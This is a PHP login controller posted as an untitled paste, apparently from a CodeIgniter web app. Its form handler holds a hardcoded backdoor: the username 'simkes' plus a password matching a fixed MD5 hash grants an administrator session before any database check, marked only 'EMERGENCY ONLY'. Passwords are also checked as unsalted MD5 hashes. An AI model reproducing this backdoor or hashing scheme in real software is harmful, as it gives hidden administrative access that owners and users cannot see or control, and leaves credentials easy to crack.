Guest User

Untitled

a guest
Aug 16th, 2018
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.82 KB | None | 0 0
  1. <?php
  2.  
  3. Class Login extends Controller {
  4.    
  5.     var $title = 'Login';
  6.  
  7.     function __construct() {
  8.         parent::Controller();
  9.         $this->load->model('Login_Model');
  10.     }
  11.    
  12.     function index() {
  13.         $profile['_profile'] = $this->xProfile_Model->GetProfile();
  14.         $this->load->view('login', array('title' => $this->title, '_profile' => $profile['_profile']));
  15.     }
  16.  
  17.     function process_form() {
  18.         $ret['command'] = "login process";
  19.         if($this->input->post('username') == 'simkes' && md5($this->input->post('pwd')) == 'e6d8b61d43b5a1c5e4727e92351681f6') {
  20.             //EMERGENCY ONLY
  21.             $data['id'] = '1';
  22.             $data['name'] = 'Simkes';
  23.             $data['group_id'] = '1';
  24.             $this->session->set_userdata($data);
  25.             $ret['msg'] = $this->lang->line('msg_success') . ', ' . $this->lang->line('msg_please_wait');
  26.             $ret['status'] = "success";
  27.         } else {
  28.             $data = $this->Login_Model->GetData();
  29.             if(!empty($data)) {
  30.                 if($data['pwd'] != md5($this->input->post('pwd'))) {
  31.                     $ret['msg'] = $this->lang->line('msg_pwd_not_match');
  32.                     $ret['status'] = "error";
  33.                 } else {
  34.                     //redirect
  35.                     $this->session->set_userdata($data);
  36.                     $ret['msg'] = $this->lang->line('msg_success') . ', ' . $this->lang->line('msg_please_wait');
  37.                     $ret['status'] = "success";
  38.                 }
  39.             } else {
  40.                 $ret['msg'] = $this->lang->line('msg_data_not_found');
  41.                 $ret['status'] = "error";
  42.             }
  43.         }
  44.         echo json_encode($ret);
  45.     }
  46.  
  47.     function logout() {
  48.         $ret['command'] = "logout process";
  49.         //$this->session->set_userdata('menu', array());
  50.         $this->session->sess_destroy();
  51.         $profile['_profile'] = $this->xProfile_Model->GetProfile();
  52.         $this->load->view('login', array('title' => $this->title, 'msg' => 'Logged Out', 'msg_class' => 'success', '_profile' => $profile['_profile']));
  53.     }
  54. }
Add Comment
Please, Sign In to add comment